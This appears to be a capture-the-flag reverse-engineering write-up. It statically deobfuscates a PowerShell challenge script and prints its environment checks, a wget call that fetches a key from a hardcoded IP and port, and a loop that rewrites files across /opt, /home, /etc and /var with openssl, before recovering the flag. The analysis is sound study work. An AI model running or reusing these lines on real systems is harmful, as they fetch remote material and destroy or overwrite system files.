Rating:
Category: Reverse Engineering
Files:
bash.ps1
- An obfuscated PowerShell scriptenc
- An encrypted file with OpenSSL formatWarning: ⚠️ Do not run the PowerShell script! It contains code that could potentially harm your system.
I started by examining the files to understand what I was dealing with:
$ file *
bash.ps1: ASCII text, with very long lines (2716), with CRLF line terminators
enc: openssl enc'd data with salted password
The challenge provides a PowerShell script and an encrypted file. The script appears to be responsible for decrypting the enc
file, but is heavily obfuscated with variable and function names consisting entirely of 'A' characters.
Rather than executing the potentially harmful script, I decided to analyze it statically by systematically renaming variables and functions based on their behavior.
After deobfuscation, I identified that the script follows this sequence:
Main
├─ CheckEnvironment
├─ BuildCharacterDictionary
├─ DownloadKey
├─ ProcessEncryptedFiles
└─ RemoveKey
This function implements safety checks to prevent accidental execution:
function CheckEnvironment
{
if ([int](&(Get-Command /???/id) -u) -cne -not [bool][byte]){exit}
if (-not ((&(Get-Command /???/?at) /etc/*release*) | grep noble)){exit}
if ((&(Get-Command /???/?at) /sys/class/net/enp0s3/address) -cne "08:00:27:eb:6b:49"){exit}
}
The key insights from this function:
This function constructs a custom character dictionary from OS information:
function BuildCharacterDictionary
{
$osReleaseLines = # Content of /etc/*release* from Ubuntu Noble
$characterArray = # Complex concatenation of OS release lines
$characterArray = (-join ($characterArray | sort-object | get-unique))
$Global:CharacterDictionary = $characterArray
}
To accurately recreate this dictionary, I spun up a Docker container with Ubuntu Noble:
$ docker run -it ubuntu:noble /bin/bash
# Inside container
$ cat /etc/*release*
This gave me the exact OS release information needed to build the character dictionary. After processing according to the script's algorithm, I determined the dictionary was:
"-./:0123456789:=ABCDEGHIKLMNOPRSTUVY_abcdeghilmnoprstuvwy"
This function constructs a URL and downloads the decryption key:
function DownloadKey
{
$keyUrl = # URL built from character indices
$outputFile = $GLOBAL:CharacterDictionary[16] # 'A'
&(Get-Command /???/?ge?) $keyUrl -q -O $outputFile
}
By decoding the character indices against our dictionary, I determined the command being executed was:
wget 35.87.165.65:31337/key -q -O A
This downloads a key from the given IP address and port, saving it to a file named 'A'. For the challenge, I created this file with the mentioned key content.
This function executes the actual decryption:
function ProcessEncryptedFiles
{
foreach ($encryptedFile in (Invoke-Expression ('find /opt/ -type f')))
{
Invoke-Expression ("openssl enc -aes-256-cbc -d -pass file:key -in $encryptedFile -out $encryptedFile")
}
# Similar loops for /home/, /etc/, and /var/
}
The function:
This informed me that I needed to use OpenSSL with AES-256-CBC for decryption.
Based on my analysis, I knew:
The key downloaded from the URL was:
I understand that, without my agreement, Alpine F1 have put out a press release late this afternoon that I am driving for them next year. This is wrong and I have not signed a contract with Alpine for 2023. I will not be driving for Alpine next year.
To decrypt the flag, I ran: NOTE: I renamed enc to encrypted_file
$ openssl enc -aes-256-cbc -d -pass file:A -in encrypted_file -out flag
$ cat flag
dam{unattended_arch_boxes_will_be_given_powershell}
dam{unattended_arch_boxes_will_be_given_powershell}